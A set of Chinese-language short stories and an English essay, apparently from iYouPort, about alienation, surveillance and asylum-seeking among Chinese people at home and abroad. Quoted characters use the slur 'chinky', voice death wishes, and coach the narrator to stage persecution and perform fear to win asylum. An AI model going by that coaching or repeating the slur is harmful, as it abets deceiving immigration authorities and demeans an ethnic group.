我的心理医生说这叫“认知失调”。管它叫什么呢，反正他们那代人算是彻底完了，我可不能继续他们的路，万一有人听到我的口音喊出毛泽东三个字来，我会杀了他的。这不是个玩笑。

我会变成毛泽东吗？还是希特勒？经常会梦到自己照镜子的时候看到了毛的脸……不，绝不要！我宁可做个异鬼。

我不想回中国，却无法在欧洲长久的留下去，除非找到工作。最有趣的就在这儿，中国人自己对自己的国籍感到羞耻，我更对自己的祖籍感到羞耻，但我和所有中国人一样，在西方人眼里就是“中国人”，哪怕像我这般满身国际大牌潮流名品、对西餐名菜如数家珍、满口的伦敦腔完全能以假乱真，都没用，他们一句 “Where are you from”，就能彻底挖出你灵魂深处的东西，你永远都洗不掉的耻辱。

但那也比留在中国做噩梦要好太多了。只有离开中国我才能睡个踏实觉。

我恨这个体制，它和我家的极权式管教一模一样。从小他们就逼着我学各种杂耍式的玩意儿，吉他、钢琴、踢踏舞、绘画、摄影、书法、下棋……除了英语之外，都是些对我来说一无是处的东西，我想玩会儿电子游戏都会遭到痛骂，为了不让我买游戏币他们搜走了所有零花钱，为了防止我出去踢球，他们把我锁在屋里、还在窗子外装了铁栅栏。

他们觉得学那些玩意有面子，是他们的面子不是我的，我就像枚勋章，被要求十全十美光彩夺目、随时都能被他们拿到各式各样的饭桌上显摆一番，跟暴发户们站在一起比谁的皮带手表更值钱一样。我在他们心目中根本就不是个人。

这个体制把孩子们叫“祖国的花朵”，你听听，“祖国的”，不是你家的、也不是你自己的，你根本就不属于自己，你他妈的属于这个国家！这个国家是什么？就是那些无处不在的幽灵、没有人格尊严的成长环境、填鸭式的教育、你死我活的社会竞争，还有广场上那张阴森森的大脸。

在美国的朋友帮我找了个移民律师，说如果一直找不到工作，就让我去美国然后通过申请政治避难留下来。真是天大的笑话，我这种顿顿吃 Le Cirque、一天两盒万宝路、开着法拉利泡妞的家伙，如果美国也能认可我成为难民，我就真的要怀疑他们的智商了。

律师把我的资料反复看了一个礼拜，最终摇摇头说，我不符合政治避

难的条件。他说，主要因为我“不属于回国会遭受迫害的那类人”。这句话真的惹恼我了。没有一天能睡踏实觉的日子，他居然认为这不是迫害！

那律师建议我找个心理医生瞧瞧，他是不是以为我有妄想症？妈的美国人真是天堂里长大的啊，他们根本不懂中国的地狱生活。

签证到期，我只能回国。那朋友说的倒是没错，也只剩下难民一条路了。可我该怎么才能遭到他们认可的那种政治迫害呢？我讨厌政治，在我看来政治就是勾心斗角，就是撒谎和斗心机，我不会那一套，离彻底崩坏也就差那一套了。

我该怎么办？哪里才是容身之地？

约炮网站上的女人照片已经让我反胃了，餐厅的名菜也一样反胃。我徒步走在街头，从早到晚，几乎把全北京城都量了一遍。空气里弥漫着焦糊的气味，就像刚经历过一场战争，死神呼出的阴郁，那团黑雾就在不远处，永远都甩不掉。

再过几天就是圣诞节了，在这个国家里也是毛诞的日子，想到这儿忽然又一阵恶心涌上心头，我干呕了几声，双腿像注了铅一样肿胀难忍。

对面有个小超市，我走进去买了几罐啤酒，顺便买了盒12只装的安全套。出门打车去长安街。我已经等不及了。

在国家博物馆的洗手间里，我分别往12个安全套里撒尿，然后系紧，做成了一堆尿泡，把他们装进一个捡来的牛皮纸包装袋里，就这么提着它高视阔步往广场而去。

我从侧门进入的，也许是近夜了，安检正在打瞌睡，没人拦我。站在空荡荡的广场上，那团黑雾似乎突然增大了数倍，压顶一般的存在，而我心里，比任何时候都要冷静，我再也不用怕了，既然躲不掉洗不净，那就干脆迎战吧。

……

他把手里的尿泡朝着那个幽灵脸狠狠的砸了过去，一个接一个，直到被赶来的巡警摁倒。没有任何挣扎。他的脸贴在冷凉的水泥地上，月色中露出了久违的笑容。〇

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现

实，不代表本网立场

原文

Chinese horror story E6：鼻病毒 - iYouPort

故事

我厌恶那种肮脏的战争。如果这真的是一场战争，也许我会躲在军医院里装病。但它不是；现在这个战场就在每个人的脑子里，在那里，厌倦已经形成了一种病毒 ……它具有传染性。

- ***“I don’t want to do the type of writing where I recite biography, parentage and education. I want to rise up from the words on the page and do something, hurt someone.”***

「图」

「图」

“你到底欠了多少钱？”我问。

“你要帮我还吗？呵呵，别逗了，你们这些穷记者”，女人冷笑着，盯着我的脸，像在看一张传销组织的宣传海报。

她说的没错，新闻人是很穷，我也的确有心帮她还钱，毕竟多少钱也不值得出卖人格尊严。

想着自己一个月几千块的收入，省吃俭用这些年下来也攒了些积蓄，但她报出的数字还是吓了我一跳。

“你帮不了我的，你根本不知道这背后都是些什么人。如果真的想帮忙，那就痛快点，帮我录制这期节目”，她说。

节目如期敲定，采访策划稿是我写的，主编连看都没看，直接就签了字，全凭他对我的信任。但那晚我没有上镜，就在开播的前一天，我忽然得了重感冒，高烧咳嗽，扯着驴一般的嗓音请了病假。

我披着棉被坐在床上，看完了这期的“反腐亮剑大家谈”直播节目。那女人演的还真好，出乎我意料地真实，面部特写足足给了近五分钟，

她泉涌般的热泪在聚光灯下显得晶莹剔透。

次日就是快讯，被这女人指控为包二奶买豪车的局级干部应声落马。我高烧39度7。

实在憋不住了，缩在被窝里，用加密邮箱发给主编一封邮件，陈述了我的调查结果：这女人不是什么二奶，而是欠了高利贷一笔巨款，如果答应上电视举报那位局级，就能避免被剁下一条胳膊……

发完不久，我又后悔了。生米已熟，现在说这些还有什么用？至少我保住了那女人的胳膊。当官的有几个好人？下马也许对那局部来说并不冤，他要是没裹进某种肮脏的利益链，也不至于遭这般暗箭。可新闻原则呢？当年老师可不是这么教的。

好在这封邮件并没有得到主编的回复，他肯定以为我发烧烧糊涂了。随他们去吧，原则又不能当饭吃，要是连饭都没得吃还怎么讲原则。

我煮了包泡面，加了个蛋。嘴里却苦涩涩的，什么都吃不下，抱着碗发呆。大白猫不知什么时候溜了进来，跳到沙发上蹭我的腿。这才想起今天还没喂它。猫粮袋子空了，我卷了团泡面放进猫食盆里，“海鲜味的哦，乖”。可这货一点都不领情，闻了闻，转身就走了。

我要是只猫就好了，能大大方方的 say no。忽然一阵鼻痒，一连打了几个声嘶力竭的喷嚏。

“感冒是由病毒引起的，鼻病毒是最常见的致病元凶。这些病毒会攻击鼻子和喉咙里的细胞，并利用这些细胞产生更多的病原体。几天后，你的免疫系统就会注意到这些不速之客的入侵，并把他们清除掉……但根据一般情况，这时你已经感染了另一个人……只要你能独立战胜感冒，你的身体会在接下来的几年里对这种具体的鼻病毒菌株免疫……下面是广告时间”

我关上电视。戴上帽子口罩和围巾，把自己包得像伤员，出门给猫买吃的。我可不想传染别人。

一开门就被绊了一脚，门口放着个黄色的公文袋，还用一块砖头压着。周围没有人。肯定是给我的，这小院目前就剩我一户了，可为什么送东西却不敲门呢，也不打个电话过来。我捡起公文袋，转身回屋。

里面是一大叠照片，还有一张A4纸，上面是打印的文字，没有落款。整体显示，本城去年发生的那场离奇车祸的肇事者，就是副市长的司

机。而死者就是刚刚被下马的那位局座的独生子。这位副市长兼廉政部一把手目前正如日中天，据说年底开完会后，有望被调去北京。

我打了个冷颤。究竟是谁放在我门口的这堆东西？是希望我报道吗？此人应该知道我的职务，并且与该副市长有所瓜葛，或者与那下马局座有一定关系，也或许都存在。但范围还是太大，无法推测。我用电脑仔细分析了每一张照片，结果显示应该是没有做过手脚的。

我又写了封邮件给主编，汇报了这件事，并附上了一篇简要的选题策划。主编是难得的老新闻人，也是我最信任的人，曾经给过我很多帮助，近年来社里利润猛跌，只有老主编一直坚持拒绝那些八卦无聊的小道消息，保持着本社严肃新闻的传统。

没多久，他就回复了，但简短得只有五个字：你看着办吧。

这就是应允的意思了。我顶着高烧展开调查，三天后，一篇长达一万字的新闻稿寄送到了编辑部，当晚就上版了。我有点吃惊，理论上暗线消息是否采纳至少需要开个会、讨论一番，更何况牵涉到的当事人就是本市的二把手……这次似乎太顺利了点，我感到了一丝紧张。

果不其然，该报道立刻引发了舆论热潮，网站上线几个小时后就获得了十万多点击，数千条评论。次日一早，副市长就上了电视，他怒不可遏地指责本市老牌媒体制作假新闻，并点了我的名，称“该记者违背新闻原则，是传媒界的败类”……

我的咳嗽更厉害了。

编辑部的同事纷纷打来电话，我根本没记住他们说了什么，回答得如在梦里一般。

然而，一系列恐怖事件接踵而至。网上出现了成群结队的舆论枪手，我的名字被加上了“fuck”和”kill”后组成的标签持续刷屏；出门吃早点时发现各种异样的眼睛在不远处盯着我，跑了三条街都没能甩掉；订阅的报纸里面被塞了一张字条，上面画着一把血淋淋的刀子……

社里发来一份通知，我被解雇了。

莫名其妙的电话在深夜打来，对面无人说话。

一块大石头击碎浴室的窗户，差点砸到我的头……

我不敢睡觉，24小时开着电视机，缩在沙发上，瞪大眼睛观察着周

围。

某天，买猫粮回来时，发现大白猫躺在门口的地上，身下淌着一滩血。

我要报警吗？不，不能，我得罪的人级别太高了，警察是帮不上忙的，忽然间异常清晰地体会到了那位扮演二奶上电视撒谎的女人的恐惧。

不能继续这样下去了，我要自己拼出一条活路来。

我匿名开设了一个新的博客，名为“辟谣联盟”，专门揭露网络假消息、不遵守新闻原则的传媒界内幕，以及各种片面偏颇的报道。笔名：流感。

我拼命的写，没日没夜，眼看着博客粉丝量飞涨，文章接二连三的进入热搜榜。博客很快被GFW封禁了，点击量却愈加火爆，政府的网络审查相当于帮我做了一个超大的宣传。

不断有广告中介来留言，说有客户希望能在我的博客中添加广告，并开出了高价；如潮的好评中，大多数人都在感叹世风日下的如今，还能有如此敢言之人，难能可贵……

我的感冒已经好了。

离职一个多月后的某天下午，一个未知电话打了进来，是主编。他的声音好奇怪，我居然一下子没能认出来。

寒暄了片刻之后，他说，希望我继续把“辟谣联盟”的工作做下去，要做大做好，并承诺帮我购买一个域名、开设网站，专门抨击假新闻，由我全权负责，如需聘请帮手，一切费用他来支付。

我有些惊讶，他又如何知道这个博客是我在执笔？

紧接着他又说，台里经营困难，已经无法抵挡八卦消息的刊发，正在计划放弃原则大量引入未经核实的信息，只要它们能吸引到足够高的流量……“我不想这样，你应该了解我。不过这样也好，你的老东家与你的新辟谣平台，足以互惠互利了”……

“你知道，人们喜欢的只是刺激，不论来自真伪哪个方向的刺激，对我们来说都是利润”。

我被噎得半天没说出话来，不知该怎么回复，他还在线上等待我的决定。我干脆回答：“明天见面聊吧”。

但他说：“最近我感冒了，很严重”……

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Chinese horror story E7：死亡马拉松 - iYouPort

故事

“The true life is not reducible to words spoken or written, not by anyone, ever. The true life takes place when we’re alone, thinking feeling, lost in memory, dreamingly self-aware, the submicroscopic moments.”

「图」

「图」

午饭时，老伴儿又做了炒土豆。这次是素炒的，倒也有葱花点缀。土豆丝切得有点粗了，味道也有点偏咸。我照旧是两碗米饭，狼吞虎咽，儿子只吃了一碗，平常日子他能吃三碗的。我知道。

下午出门时，我买了一块玫瑰火腿肠，花了10块钱。给儿子的，他喜欢吃。

老伴儿做菜手艺不是太行，但她很爱做，于是就让她做了。最近儿子的腿长了疮，花掉了我一个半月的退休金，家里只能连续几天吃土豆下饭，我们老两口子没啥，就是怕娃身子亏了，年轻力壮的小子，需要的营养更多些。

当然疼爱，甭说是独生子，还是老来得子呢，我45岁才有的这孩子，放在手心里怕掉了，放在嘴里怕化了。儿子两年前骑摩托车摔坏了脊椎骨，终身的下肢瘫痪，那时起我们家就如天塌地陷一般，再没了阳光。

没阳光没事，我能点灯，不论如何都得活下去不是吗？变着花样儿让儿子开心成了这两年来我唯一的追求，出不了门，买手机，在家里玩转世界，不爱吃他妈做的菜，咱买火腿肠，肉不能缺。

儿子喜欢上网，经常拿着些稀奇古怪的文字给我看，说什么哪国种族清洗了、哪国网络管制了、哪国又换了总统……我假装很认真的听他说，但心里真的不明白这跟我有啥关系，那些绕嘴的地名我只在新闻联播里面听说过，新闻联播能当饭吃吗？不能。不过只要儿子高兴，我就绝对会陪着他高兴。

前两天儿子又说，新闻里面告诉人们，要少吃“加工肉制品”，就是火腿肠，说那东西吃多了能致癌。我苦笑着，要是买得起大块的肉，谁会吃火腿肠呢？

致癌我不怕，都这岁数了，在我爹那会儿是叫做古来稀的，买口棺材放院子里预备着的年纪。就算长了癌，也没必要再花钱治了，彻底自由的感觉。

是啊，当你走到生命的尽头时就会有这种感觉，真的一切都无所谓了。

但我跟别人不一样，我有个儿子，还是个残废，如果我们老两口子都死了，儿子该怎么办？谁给他炒土豆丝吃，谁给他买火腿肠？谁会帮他洗澡，谁来耐心的听他说那些绕嘴的新闻故事……

我不是王健林，没有女孩子会嫁给我儿子，可王健林的孩子也不是个残废，这就是老天爷的玩笑，有钱人能过得十全十美，漏屋却偏逢连夜雨。

政府还算是关心的。街道办贴了个条子在门洞上，说给残疾人补助话费，让小区里所有残疾人都去街道登记。是钱就好，管它啥名头呢，回来跟儿子一说，他倒显得很委屈。

“爸，我不想当残疾人”。我的老泪哗啦啦的往下掉，儿啊，爸也不想让你当残疾人，要是能换角色，把这两条伤腿给我吧，我愿意！

在街道办，他们让我儿子手持身份证和残疾证拍照，还要拍各种角度，正面、侧面，儿子的脸青紫青紫的，“爸，我有种进监狱的感觉……这是羞辱我呢，他们在羞辱我！”

“我们不要那钱了！随便你们怎么着”。我喘着粗气，推着儿子的轮椅大步离开了那个地方。一年500块钱的补助，我不要了，能活成什么样我都认了，就是不能受这个委屈。

最近我的睡眠越来越差，就是睡不着，只要一躺下那个问题就会蹦出来，挤满我的脑袋。

谁先死？

看着身边打鼾的老伴儿，我想，我们俩究竟谁会先死呢？如果我先死，她做饭不好吃谁给儿子买火腿肠？如果她先死，我一个人照顾儿子的起居，恐怕就没时间再哄他开心了。

就像一场马拉松比赛，但究竟是比谁跑得快、还是跑得慢，我一直没弄清楚，根本不知道该如何调整步伐。也许更像是坐在一辆无法自控的列车上，呼啸着，朝着死亡的终点站奔驰。

一起死，这个问题我不是没想过。现在再想一遍已经没有当初那一身冷汗了。但我不知道什么时候才能算是恰当地时候，什么时候能真的让我感觉一切都可以放下了。没人告诉我准确的时间点，偶尔却感觉所有人都知道，只有我一人蒙在鼓里。而他们，在看热闹。

所有人，都在看热闹。就像那个小公园里遍布着的诡异的眼神。

那个街边公园我是每天必去的，不论刮风下雨，不论家里出了什么事。不是为了下棋，也不是为了闲侃，而是打卡，给生命的延续打卡。对所有人来说都是如此。

因为有人监视。

所有人都在监视你，你也在监视着所有人。只要某天某个人没有出现，传言就会想瀑布一般喷薄而下。“他/她死了吧”。

是啊，这群老到没处去的老帮菜们，只要没来公园，那肯定就是去见阎王了。然后一群人唏嘘一番，回忆一下某人的棋艺，某人的广场舞，某人曾经说过的话，再然后，各自回家，带着欣欣然的表情。

那个人不能是我。那个人幸亏不是我。下一个会是谁？

每个人心里都在想着这样的问题，我也是。每个人都在期望着其他人能先走一步，期望自己能和另一些人一起多笑几次。

我不怕死亡。人生中最可怕的并不是死亡，而是苍老，对一切失去兴趣。那些你曾经奋力追求的东西，如今变得只剩下一纸空文，你觉得世界与你无关了，你的角色已经从主宰者变成了游客。那是最可怕的，而我们，我和那些老帮菜们，不会有如此般的空虚，因为我们找到了乐子，一场死亡马拉松，看着队友们接二连三的冲下悬崖，独享着随时都可以拥有的幸灾乐祸。

显然，乐子不是经常能有的，更有些时候还会出现诈糊的状况。上个礼拜就是。每天必到的老孙忽然一连三天不见面了，小公园里众说纷纭，有人传称老孙脑血栓下不来地了，毕竟他三高多年。也有人说被车撞了，司机肇事逃逸。还有人说是自然死的，一觉睡下去就再没醒过来。

但没人知道他家住哪儿，应该就在这附近吧。有好事者专门在附近四处观望，见有摆花圈的住宅楼就凑过去看挽联，居然没找到姓孙的。

第四天，老孙出现了，还带着一脸的喜色，说在国外工作的儿子和媳妇回国探亲了……一片带着酸味儿的赞叹。

他儿子和我儿子差不多大，幸亏他们不晓得我儿子变成了残废，天知道那些人会乐成什么样，狰狞的面孔，每个人心里都有一个希特勒，握着一把屠戮竞争对手的机关枪。

“中秋节怎么过”，儿子问。是啊，还有几天就到中秋节了，公园里的老家伙们最近正在晒儿女们的孝敬，每每这时，我就假装打太极拳，离开他们的语境。

中秋节和春季对中国人来说是一年当中最重要的两个节日，它们代表团圆、阖家欢乐，可对于我这种死期将近之人来说，代表的则是不知道下一个中秋节还能不能团圆。

“想吃啥，随便买，爸有钱”，我对儿子说，他乐呵呵的，我喜欢看他这个样子。虽然我们都知道，“随便买”不过是意味着多几种味道的火腿肠。虽然我们都没有心气儿吃喝庆祝，心照不宣。

过一次少一次了。如今的节日要拿出一生的热情去过，要过得令人难忘，我相信人死后能带走的唯一东西就是记忆。

那老孙中过风，说话吐字不清的，还是跟那些人一样拼命的晒。说什么儿子媳妇给买了保健品、按摩仪，还有好烟好酒，每个字都钉在我心头，嘶拉拉的疼。妈的这家伙吃了一辈子体制饭，没少捞好处，都退休了还是到处装“领导”，

我恨这些人，就如同恨那些街道办羞辱我儿子的家伙，他们自己过着滋润的日子，却拿别人的苦难寻开心。无耻之徒，他们应该早死。

他们需要早死。

为他们的死亡庆祝才是真正的中秋节大餐。我想象着他踩中一坨狗屎

摔倒在石头上的样子，想象着一辆飞驰的汽车把他撞上了天，想象着他吃错了药一口气憋死的样子，想象着他的保健品是假冒伪劣，让他浑身长疮……

忽然间，我的精神越来越好了，就这么想着，充满了活下去的动力。我买来了很多火腿肠，还有五香蚕豆和啤酒，我们仨要过一个像模像样的中秋节。

为死亡干杯。

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Escape from China - iYouPort

故事

It was a dream, and in dreams you have no choices: either there are no decisions to be made, or they were made for you long before ever the dream began…

「图」

「图」

As the car approached the downtown area, it began to slow down, and the streetscape outside the window became clear. Row upon row of the Chinese restaurants are dominated by red and yellow, most Chinese restaurants are Sichuan and Shandong cuisine. “Here is a gathering place for the ethic Chinese.” he said with a stout arm pointing out of the window and a puzzling smile.

His name is C. He has been studying here for more than three years. We met on the Internet and met offline for the first time today. He seems to be very talkative, at least on the Internet and on the highway just now. He said that he is applying for political asylum. He got a master’s degree and didn’t feel like to get a second one. If he can’t find a job, he can only stay as a refugee.

The speed was slower. Pedestrians were watching us outside from the window as if they were watching a rare animal that rushed into a strange forest. He broke off the unceasing flow of words, looked a little nervous. He pressed his hands on the steering wheel, staring at the front. When I opened the window, I immediately heard accents from Jiangsu and Zhejiang, and occasionally a few Cantonese.

“They have already booked their seats. You go first. If they haven’t arrived, you can tell the boss the name of Chen,” C said. I have been told, Chen is a guy of some prominence here. Although I haven’t

seen it before, I've heard it for a long time. It is said that you can get a discount in the name of Chen in eating in this area. I has been thinking it was a joke.

The Chinese restaurant is good, clean and tidy, except for the blessings on the wall that read "Great Rejuvenation of the Chinese Nation". The boss looks very enthusiastic, and even enthusiastic a bit too much, a bit puzzling.

「图」

「图」

A Concentrated Version of "China"

After sitting down, we continued the topic just now, and C's stiff expression still did not relax. "I don't come here often. If it's me, I will go straight to my home for dinner, I'm annoying to hear these Chinese speaking." He waved his hand, speaking with pure Beijing accent that was completely different from the surroundings.

C is born in a middle-class family in Beijing. Two generations of his elders are working in the interal system. In his words, "Within the system, without the benefits." But why apply for political asylum? He can immigrate by investing, it's also easy for him to be an technical immigrant because of his profession. But he has chosen such a difficult way.

He shook his head. "This is the first time I have made such a decision myself, a decision to change my life." In other words, your family did not know your application for political asylum? "How can I let my family know? They are waiting for me to bring honour to my ancestors, " he said.

C told me that parents do everything for him all along, even the decision of studying abroad is made from the comparison to others by his parents in a friend's dinner. "As you know, the only thing for these middle-aged or old people to do is comparing their sons and daughters. On the dinner table, if one's children are studying abroad, the others will have no face to eat anymore." he sneered.

“You chinky parents take their children as belongings, like their belts and watches, are used to compare and show off. Your chinky family is a miniature version of the whole chinky society. What the political system looks like, what the parents in the system looks like.”

He has a set of unusual wording habits, but it is easy to understand, because there is a rule: a noun added a word “your” before, which represents something that is not agree with, such as your chinky, referring to China; on the contrary, a word “I” is added before a noun, that represents what is agree with. From the day we began to communicate, until now, I have heard only one noun with the word “I”, which is the name of the western country which we stand.

“Why apply for political asylum? Because I have no confidence in finding a job. I dare not say that it’s difficult for a Chinese to find a job. The media workers like you are sure to ask me for the data, I don’t have any data. But I can see the people got rejected. And I don’t have enough confidence about my knowledge. Political asylum is the only way to stay.” He mocks the western media that they are still talking about cheating in the exam. In fact, it has already become a popular subculture, and there is no novelty. “Everyone who come out to study has a somehow rich family. Studying abroad is gilding, just for a diploma. They will go back, sooner or later. But nowadays, fewer and fewer people are going to go back. One returning from abroad is no longer as valuable in your chinky as it was ten years ago. I can get more money as an Uber driver here. And the self-evaluation of these people can no longer find a job in your chinky. They all want to take a step into the upper class. I am different from them.”

I think he’s already a member of the upper class. New luxury cars, famous brands of casual wear, new iPhones the just came out last week. Speaking of this, he exposed an expression mixed with pride and sadness. He told me that, in fact, there were some hesitation deep in his mind. On one side was the excitement of finally getting rid of his family’s hellish control, and on the other side was the pain of the separation of his family and that his parents would not be able to come to see him.

“To tell you the truth, my family has never been hesitated in terms

of money. I can get no matter how much I want, but I just don't want to go back. Now that I have reached this point, I simply continue to go on," he said. "This is indeed a difficult way, especially the kind of endless waiting and fear, that's what most tormenting, and I only hope that I will not gone crazy like others." Someone gone crazy? "In any case, ones whose spirit is abnormal more than the normal," he sighed.

C hopes his application for political asylum can be approved. It seems that it's because it is "the first time in his life to make decisions independently." He wants to prove that he can be successful after getting rid of his family intervention.

Remember, every refugee is a book of blood and tears, he said.

Why don't you come here often? I thought that Chinese people overseas are holds together, I said. He shook his head. "It looks like unity." Then he approached my face mysteriously, held his little finger in the arms and scanned the surroundings. "Listen, did you feel anything? There is something hiding behind these gossip, that is your chinky… like ghosts, lingering. No, is an enhanced version of the ghost."

It is a sound wave of fear wrapped up with a heavy smile. It is sandwiched between people, between heart and heart, hidden behind the collision of the cordial accent of the hometown. "Many of things in your chinky have not disappeared here, but have been strengthened, condensed, including hypocrisy," he said, pointing to a bottle of Kangshifu iced tea on the table. "I looked at it, I'm nervous, I've got goosebumps all over me. It's everywhere in the Chinese restaurants and supermarkets."

In fact, I can go to a western restaurant. I explain to him that my taste is very international. He shook his head. "Do you think you can feel at home in a Western restaurant? Naive."

He is right. Perhaps the hardest people living here is these Chinese who have desperately fled from China but are difficult to integrate into Western society. They are in a narrow space, while despising the voluntary fifty-cent-party Chinese compatriots who are proud of the "rise of the motherland". On the one hand, they are collectively

referred to as “Chinese” by Westerners.

There are often media reports in the West that most of the Chinese students are entertaining with themselves and seldom integrate into local community activities. C said that he still finds it difficult to understand the jokes of the whites and find nothing humorous. He is very embarrassed in front of the local people. His can speak very fluent English. What If you are a Chinese with bad English? How do you find a sense of belonging?

“A lot of people are more ‘pinky’ than when they in China,” C said, sighing. “A bunch of lame ducks. How good they are that staying in you chinky and waiting to become cannon fodder, that kind of person should not come out.”

By the way, I heard a more amazing news — the graffiti of “Go Back to China” may be done by the Chinese.

「图」

「图」

Ideological business chain

Everyone arrived, we began to drink. The boss brought a few bottles of beer and said with a strong Cantonese accent: “For free, for free”, the same expression I received when I told the name of Chen. I am somewhat puzzled and asked C: “Do you know each other?” He smiled mysteriously and said, “This is the face of the student union.”

I’ve heard the name of this mysterious Chinese Students’ Union, in media reports that appeared to be accompanied by incidents such as spies and intervening in the education system of the free states. I did not expect that is related to these free beers. C introduced me to M who is on vacation from the United States. He said that the United States has “the same” student union as in here.

M told me that many Chinese are not very good at English. They are highly dependent on Chinese media platforms and social networks. Facebook and twitter are rarely used. The official social media

account of the Chinese Student Union is in WeChat.

The student union media platform and some very low-level Chinese media are all of these people's spiritual feed, and the students' union's account s a good way to make profit. It is said that many Chinese supermarkets and restaurants are rushing to find them for advertising. Chen worked in the student union and was said to have been "interviewed" by the Chinese Consulate. This is why the we can get free beers in the name of Chen in Chinese restaurants.

Advertising can be passed through strict censorship, political censorship, legend says that the boss even need to recite the Core Socialist Values, which has not been confirmed. I am surprised there are so many medias in the United States, why do we have to advertise on a small public account in China WeChat? "That's also the power of the student union," M said.

On the one hand, the main customers of Chinese restaurants and supermarkets are Chinese. These Chinese are very autistic and difficult to integrate into the local community. Also bad in English. Therefore, it is best for merchants to advertise on Chinese social media; on the other hand, if a business owner explicitly opposes the Chinese government, while other media have advertised for him/her, the student union will immediately organize a public opinion offensive, and the media of advertising will be recognized as an anti-China hostile force, or shameless traitors, and all the cooperation will be cut off.

"There are also Chinese bosses who ignore Students' Union. That means he can't expect his business to thrive." C said. "I admire the kind of backboned person." He told me that all the people who come for dinner today have not explicitly joined the student union.

It is said that the funds of the Student Union came from China. Whether it was a video for the women who danced at the entrance of the city hall, or a parade against the people who did not like the Chinese government (such as the Tibetan spiritual leader, the Dalai Lama), all seems to be able to get subsidies. If you write an article titled "The Rise of the Motherland," you can get a higher reward than the average media. According to legend, it is easier to get a job if you put the student union on your resume. It is more likely to

refer to someone who will be back to China.

“People will not express disagreement. It’s not for the money. The family members of these students are still in China. You know,” M shook his head regretfully.

Chinese restaurants, Chinatown, local Chinese platforms, Chinese student unions, Chinese consulates, what a big ideological business chain.

In addition to the Chinese version of international large-scale media, most of the overseas Chinese media are mostly unprofessional. They use fake news and sensational gossip news to catch the eyes. More importantly, these Chinese-language media are often used as the strategic weapons by the Chinese government to implement “Grand International Propaganda”.

In recent years, the Chinese government has been vigorously promoting the “Soft Power” of China in the international arena. Overseas Chinese-language media are considered “taking the heavy responsibility of displaying China’s soft power in culture”, and China has also actively expanded the influence of Chinese media overseas through large investments. The sentence “According to foreign media” is often appeared in the report of the mainland media, including the above-mentioned “knockoff Foreign Media”, as well as the “pro-Chinese” media and “self-censorship” media, spoke for the authorities. The key to the problem is not how many foreign media speak for China or whether it holds a pro-China position. Instead, in the Chinese context where news is strictly regulated, the voice of criticism is systematically blocked.

The overseas Chinese who are not be able to identify professionality in the media, will also not be able to get rid of the Chinese information content. Therefore, even if they live in a free country, they still under the ideology control of the Chinese government.

C pointed at me and said, “Your chinkny have finished, completely Sodom, and you gangs should all come out, staying in China means turning into cannon fodder in the future.”

「图」

「图」

“I’m Oskar Schindler”

After talking for so long, people spoke the same words to me for the first time: “Hurry to come out.”

“There are so many preferential policies here, it’s a waste if you do not use it,” C said. “You must first apply for a visa, and then you say something against the Chinese government on the Internet. It is best to scold the government, and then wait for an administrative penalty, then escape immediately.

If your passport is taken away, you can smuggle into Myanmar, you can buy legal procedures to Thailand, and then flee to a third country from Thailand. In fact, you better escape now, before your passport is taken away.”

C do not understand the idea of those who want to “do something” in domestic. They think that nothing has been done in China. I do not understand. In fact, there are still many people who can just escape, but they choose to stay and change the country to fight against the evil forces. However, everyone agreed with C’s point of view.

“I’m sure that around 95% of the people around have no idea about what happened last year,” M said. “but their happiness index will be definitely higher than ours, only a few anti-Trump American students are not. They only care about if Trump’s immigration policy will affect their employment in the United States. As a result, people who get the offer will immediately have no discontent. Do you believe it? This is caused by the depreciation of knowledge. It is precisely because knowledge can be tentacled in the Internet age that people can not bother to learn. Oversupply is just a law of value….”.

They told me that in a tone of showing off, there have been several recent Chinese people who have come to apply for refugees. From different ages, 50s to 90s, there are also people with disabilities

who cannot find jobs in China. “Now nothing is important for me but to get all of you sensible out. Let’s enjoy welfare and drink whiskey here, and appreciate how your chinky end up,” C said. His seems to be ambitious. I don’t understand what is his standard on “sensible”.

M has the same attitude. He thinks that my thought is unreasonable. “You can’t care about China’s future if you don’t have a job, stupid. Those you care about are not worth your hungry, do you know?” he said. “How could you feel shameful to be a refugee? How many people desperately ran out to being refugees? Being anything is more glorious than be a Chinese”.

I remembered the Chinese people who had children born overseas. They got paper diapers, milk, and other products and showed off in the WeChat group, as well as those expressions of praise in the group. I feel a mixture.

It is a true great man whom no poverty and hardship can shake. I smile and wave my hand. They even disagreed more. “You must get a ticket even sell your house. If you cannot afford for it, my friends and me can pay it for you. You always take the excuse of lack of money, showing that you haven’t experienced what the real refugees in Africa feeling. Escaped by boats with close call, and will be sent to the refugee camps in Papua New Guinea and Nauru. But you can get a temporary protection visa from the refugee camp…”

The “real refugees” is a strange saying. Aren’t you really refugees? Awkward silence. Several people began to drink. After a moment, C said slowly. “You are still not hungry enough. When you too hungry to open your eyes, you will understand. There is no way out of caring for politics”.

These words are the same as what he said on the Internet. He has been lobbying me for immigration for so long. C has uninstalled Twitter and Facebook and left the social media completely. In his words, he said, “Out of sight and out of mind.” “What can those people who only shout slogans do?” He put on a contemptuous look. “Moreover, they shouted anonymously online, and working for the party offline. Okay, someone believe that’s real, and they can not even get a job in real life… How unjust it is!”

C was once a member of the “only shouting” crowd on the Internet, and for a long time, but just to make it easier for the application for political asylum, it is said that immigration officials will be checking your social media account. As a result, they made friends with many dissent netizens, including me. “You are not the same,” C pointed to me. “Your problem is that you are too implicit. Your words on the Internet is always the result of thinking. Thinking is useless. Scolding directly is the only way to make you stand firm and be able to please the immigration officer. When you apply for political asylum, you will see that reason is worthless.

Several “experienced people” have offered advice. They told me not to let myself calm down, to stick to the principle of tragicism, and to cry. “If immigration officials say that you must have good psychological qualities because you are major in psychology. You have to deny immediately, because it’s hard for people with good psychological qualities to apply for political asylum…” they said.

It is necessary to be fear, cultivate fear, and keep fearing. This seems to be another reason why they are out of tune with the surrounding areas, but it is also helpless. If you cannot show enough fear at the interview, it’s difficult for the application to be passed.

“I desperately rendered how bad China is, it is still very helpful, and it can enhance my satisfaction on this side,” C said bluntly. He was playing the keys of the car and seemed to be thinking about how many Uber’s business he can do during this meal that had lasted for more than two hours, with a bit unwilling in his eyes. “I have a master’s degree at a prestigious university,” he said.

